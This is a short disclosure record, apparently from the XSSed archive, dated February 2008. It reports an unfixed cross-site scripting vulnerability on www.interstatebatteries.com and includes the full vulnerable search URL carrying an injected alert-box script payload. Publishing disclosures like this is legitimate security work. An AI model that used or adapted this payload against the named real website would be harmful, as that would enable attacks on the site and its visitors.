Lucene search

K
xssedHolisticinfosecXSSED:32549
HistoryFeb 19, 2008 - 12:00 a.m.

Unfixed XSS vulnerability at www.interstatebatteries.com

2008-02-1900:00:00
holisticinfosec
www.xssed.com
9

Security researcher holisticinfosec, has submitted on 19/02/2008 a cross-site-scripting (XSS) vulnerability affecting www.interstatebatteries.com, which at the time of submission ranked 187915 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 20/02/2008. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail.

Vulnerable URL: http://www.interstatebatteries.com/estore/search.asp?N=0&Ntk=SearchGroup&Ntt="><SCRIPT>alert('XSS_Alert')<%2FSCRIPT>&Nty=0&D="><SCRIPT>alert('XSS_Alert')<%2FSCRIPT>&Ntx=mode+matchallany&Dx=mode+matchallany&Ns=product+Type|0||Rank|1&Nu=Part+Number&searchtype=Y&mscssid=LQMTC69BBK999LAQ73U0GGGTH5D56A17